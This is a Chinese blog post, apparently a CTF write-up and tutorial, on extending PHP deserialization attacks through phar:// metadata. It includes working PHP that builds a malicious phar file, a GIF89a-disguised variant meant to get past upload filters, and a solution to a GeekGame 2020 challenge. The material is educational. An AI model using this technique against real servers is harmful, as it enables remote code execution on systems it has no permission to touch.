• 利用phar文件拓展php反序列化攻击


    0x00 开始的一点废话

    最近比赛打的挺菜的,但是还是跟着师傅们学到了很多东西的,不管怎么样,还是踏踏实实一点点学,仔细写写PHP代码,不能浮于表面。

    0x01 前言

    通常利用反序列化漏洞的时候,只能将反序列化后的字符串传入到unserialize()中,这种漏洞随着代码安全性的提高之后难以利用。在2018年的Black Hat会议上,Sam Thomas提出了利用phar文件会以序列化字符串的形式存储用户自定义的meta_data这一点特性,拓展了php反序列化漏洞的攻击。该方法依赖于文件系统的函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议对phar文件内容的解析,自动反序列化meta_data中的内容,可以不依赖于unserialize()进行反序列化操作。

    参考:https://paper.seebug.org/680/


    0x02 原理分析

    在先说phar文件如何实现php反序列化攻击的之前,先要明白什么是phar文件以及phar文件的结构。

    什么是phar文件

    • phar(PHP Archive)是PHP里的一种打包文件,用于归档 。PHP版本>=5.3的时候默认开启对phar文件的支持。
    • phar文件默认状态是只读。使用phar文件不需要任何额外配置。
    • phar://伪协议用来解析phar文件的内容。

    phar文件的结构

    a stub

    可以理解位一种标志,其格式为xxx<?php xxx;__HALT_COMPILER();?>,前面的内容不限,但是一定要以__HALT_COMPILER();?>来结尾,否则phar扩展无法识别这个文件,也就是说,phar扩展是以__HALT_COMPILER();?>为标志来识别phar文件的。

    a manifest describing the contents


    phar文件的本质就是一种压缩文件,每个被压缩文件的权限,属性等信息都被存放在这里,另外,用户自定义的meta-data也会被储存在这里,这是实现phar文件攻击的核心。

    the file contents

    被压缩的内容

    [optional] a signature for verifying Phar integrity (phar file format only)

    文件签名,放在文件末尾。格式如下:


    0x03 利用phar文件攻击

    Demo1 任意代码执行(多见于CTF)

    要攻击的站点源码如下:

    <?php
    
    class Flag{
        public $code;
        public function __destruct()
        {
            // TODO: Implement __destruct() method.
            eval($this->code);
        }
    }
    
    $filename = $_GET['filename'];
    
    file_exists($filename);
    
    ?>
    

    传入文件名,检测该文件是否存在。

    下面开始构造phar文件进行任意代码执行

    • (注)开启phar文件的生成权限需要修改php的配置文件php.ini,将;phar.readonly = On修改为Off即可,注意去掉;
    1. 生成一个phar文件,生成phar文件的代码如下:
    
    <?php
    class Flag{
        public $code;
    }               //要攻击站点已存在的类
                    
    @unlink("test.phar");   //文件名 test.phar
    $phar = new Phar("test.phar");       
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置sub
    $a = new Flag();   //实例化类,让phar文件自动序列化,利用phar文件自动序列化meta_data的特点进行攻击
    $a->code = "phpinfo();";
    $phar->setMetadata($a); //将自定义的meta_data存入manifest
    $phar->addFromString("test.txt", "test"); //要压缩的文件
    $phar->stopBuffering(); //自动计算签名
    ?>
    
    1. 执行完上述代码之后,会在本地这个php文件的同目录下生成一个phar文件。如下图:

    2. 用winhex查看该文件:

    3. 可以看到,我们自定义的meta_data以序列化字符串的形式存储在了phar文件里。有序列化必然会有反序列化,PHP的大部分文件系统函数在通过phar://协议解析phar文件的时候,都会将meta_data进行反序列化操作,受影响的文件系统函数如下:

    4. 利用phar文件以及phar://伪协议进行攻击:

      实现了任意代码执行。

    • 来看php底层是怎么处理的:

      可以看到,底层代码对meta_data进行了反序列化操作。

    Demo2 phar文件幻数

    • 之前提到过,phar扩展是以__HALT_COMPILER();?>来识别phar文件的,也就是说,我们可以修改phar文件头前半部分的内容,来绕过某些检测。
    <?php
    class Flag{
        public $code;
    }               //要攻击站点已存在的类
                    
    @unlink("test.phar");   //文件名 test.phar
    $phar = new Phar("test.phar");       
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置sub
    $a = new Flag();   //实例化类,让phar文件自动序列化,利用phar文件自动序列化meta_data的特点进行攻击
    $a->code = "phpinfo();";
    $phar->setMetadata($a); //将自定义的meta_data存入manifest
    $phar->addFromString("test.txt", "test"); //要压缩的文件
    $phar->stopBuffering(); //自动计算签名
    ?>
    

    在sub中新增加了GIF89a这部分,将phar文件伪装成GIF文件来绕过某些检测。

    将生成的test.phar文件修改后缀名,改为test.gif,再次进行测试:


    0x04 利用条件

    • phar文件必须可以上传到服务端。
    • 必须要有可以利用的魔术方法(__wakeup()、__destruct())等。
    • 文件系统的相关函数参数可控,且phar:/等关键字没有被过滤。

    0x05 [GeekGame 2020] 反序列化?

    1. 进入题目,是一个文件上传的页面,下面给了提示,所以我们到/vulnerable.php看看。
    2. 直接给了源码:
    <?php
    highlight_file(__FILE__);
    if (isset($_GET['filename'])) {
        $filename = $_GET['filename'];
    } else {
        $filename = "";
    }
    
    class Flag
    {
        private $code;
    
        function __destruct()
        {
            // TODO: Implement __destruct() method.
            eval($this->code);
        }
    }
    
    if (file_exists($filename)) {
        echo "文件存在的呢;";
    } else {
        echo "啊这,文件不在哦";
    }
    ?>
    
    1. 很明显是利用反序列化调用__destruct()方法来执行任意代码,但是没有unserialize()函数,要想调用魔术方法,结合题目一开始的文件上传,很容易想到phar文件的上传。
    2. 利用Demo所示的代码,生成phar文件,改为GIF文件来绕过检测,直接拿到Flag。

    0x06 后记

    比赛当时拿到这道题目没有一点思路,多亏了一位师傅提醒“一个phar文件的上传”,才拿到了Flag,故有此文。

  • 相关阅读:
    python基础总结一
    python解释器介绍与安装
    09 字符编码
    python 九九乘法表
    08 基本数据类型及内置方法
    07 Python语法入门之流程控制
    06 Python语法入门之与用户交互、运算符
    05 Python语法入门之垃圾回收机制
    04 Python语法入门之基本数据类型
    03 python语法入门之变量
  • 原文地址:https://www.cnblogs.com/hello-there/p/12968850.html
Copyright © 2020-2023  润新知